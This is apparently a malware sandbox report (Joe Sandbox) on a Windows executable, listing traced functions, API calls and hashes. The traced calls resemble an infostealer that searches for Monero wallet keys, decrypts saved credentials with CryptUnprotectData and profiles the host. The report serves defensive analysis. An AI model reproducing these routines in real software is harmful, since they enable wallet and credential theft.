FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DDCC
FindClose.KERNEL32(000000FF), ref: 0040DDDE

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: e10af93c53c6333e80d304e0f36653bdc3ffda678a3dd79473b7e87df3de3648
Instruction ID: 591a4703b72fe71aa373ebdc6cd180767c9b728ba7d7680c081136e576a94052
Opcode Fuzzy Hash: e10af93c53c6333e80d304e0f36653bdc3ffda678a3dd79473b7e87df3de3648
Instruction Fuzzy Hash: 3B91A776900104ABCB14FBB1EC469ED733DAF84304F40856EF81A961C1EE389B5DCB9A

Function 00417B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

GetKeyboardLayoutList.USER32(00000000,00000000,004205AF), ref: 00417BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00417BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00417C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417C62
LocalFree.KERNEL32(00000000), ref: 00417D22

Strings

/ , xrefs: 00417C7F

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 7596f6bab02a8893db2d538185692abed2554d8effdd32d34ab9a344058ae76c
Instruction ID: 4337a3d4516c1007e731de4e6e4702528bfdb1ea37c67bd3aa396c5a1b158d15
Opcode Fuzzy Hash: 7596f6bab02a8893db2d538185692abed2554d8effdd32d34ab9a344058ae76c
Instruction Fuzzy Hash: 6B415E71941118ABDB24DB94DC99FEEB378FF44714F20419AE10962281DB382FC6CFA5

Function 0040E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420D73), ref: 0040E4A2
StrCmpCA.SHLWAPI(?,004214F8), ref: 0040E4F2
StrCmpCA.SHLWAPI(?,004214FC), ref: 0040E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EBDF

Strings

\*.*, xrefs: 0040E44D

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 44eedcfd5010d19a33aac58ca5e746fa92b2c24ebe75bb61140db8cfae1a9d18
Instruction ID: 32b04220dc81db1066fec36fe382e2e0147ddb409d88bf53f78a4e8ff9751907
Opcode Fuzzy Hash: 44eedcfd5010d19a33aac58ca5e746fa92b2c24ebe75bb61140db8cfae1a9d18
Instruction Fuzzy Hash: 2612D5719111189ACB14FB71DD96EED7338AF54314F4045AEB00A62091EF386FDACFAA

Function 00419600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041961E
Process32First.KERNEL32(00420ACA,00000128), ref: 00419632
Process32Next.KERNEL32(00420ACA,00000128), ref: 00419647
StrCmpCA.SHLWAPI(?,00000000), ref: 0041965C
CloseHandle.KERNEL32(00420ACA), ref: 0041967A

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction ID: 11d567adce4b572477f284a2ec541547db87c4b6fd8ba8cb36d7f0fd64301d48
Opcode Fuzzy Hash: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction Fuzzy Hash: F201E9B9A40208ABCB24DFA5C958BEEB7F9EB49700F104189E90996250D7389F81CF61

Function 00417A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,013FF118,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417A63
RtlAllocateHeap.NTDLL(00000000), ref: 00417A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,013FF118,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A7D
wsprintfA.USER32 ref: 00417AB7

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction ID: 8af700d3b0e32b47e9d6ddd9198ddf9a5cfc8e3ba9127fd648bfb7377b14e362
Opcode Fuzzy Hash: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction Fuzzy Hash: 461152B1A45228EFEB108B54DC45F9AB7B8FB05711F10439AE516932C0D7785A40CF55

Function 00409B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BA3
LocalFree.KERNEL32(?), ref: 00409BD3

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: a906334abc9097b3eb3dbf3aa7d0ea77f98e2bf2f53c2dec3bc30458463074e5
Instruction ID: 8f426468ab53363499b7a1b36abb65542848b77d882695a84c435697bb87cbd4
Opcode Fuzzy Hash: a906334abc9097b3eb3dbf3aa7d0ea77f98e2bf2f53c2dec3bc30458463074e5
Instruction Fuzzy Hash: 4611CCB8A00209EFDB04DF94D985AAE77B6FF89300F104559E915A7390D774AE10CF61

Function 00417850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
RtlAllocateHeap.NTDLL(00000000), ref: 00417887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction ID: ff9f3fb77af2488786a742b30a7a77c7a6675fe12b7944dcc27658a291e6e945
Opcode Fuzzy Hash: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction Fuzzy Hash: 08F04FB5D44208AFC710DFD8DD49BAEBBB8EB05711F10025AFA05A2680C77815448BA2

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction ID: a8b5f4e8781596c88644d8aa2969b9d6e82c50da38cf1cac8898b5ca04c80d98
Opcode Fuzzy Hash: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction Fuzzy Hash: F4D05E7C94030CEBCB14EFE0D9496DDBB79FB0D311F001559ED0572340EA306481CAA6

Function 00419C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,013E5690), ref: 00419C2D
GetProcAddress.KERNEL32(76210000,013E56D0), ref: 00419C45
GetProcAddress.KERNEL32(76210000,013F8FD0), ref: 00419C5E
GetProcAddress.KERNEL32(76210000,013F9048), ref: 00419C76
GetProcAddress.KERNEL32(76210000,013F8FE8), ref: 00419C8E
GetProcAddress.KERNEL32(76210000,013FDAC8), ref: 00419CA7
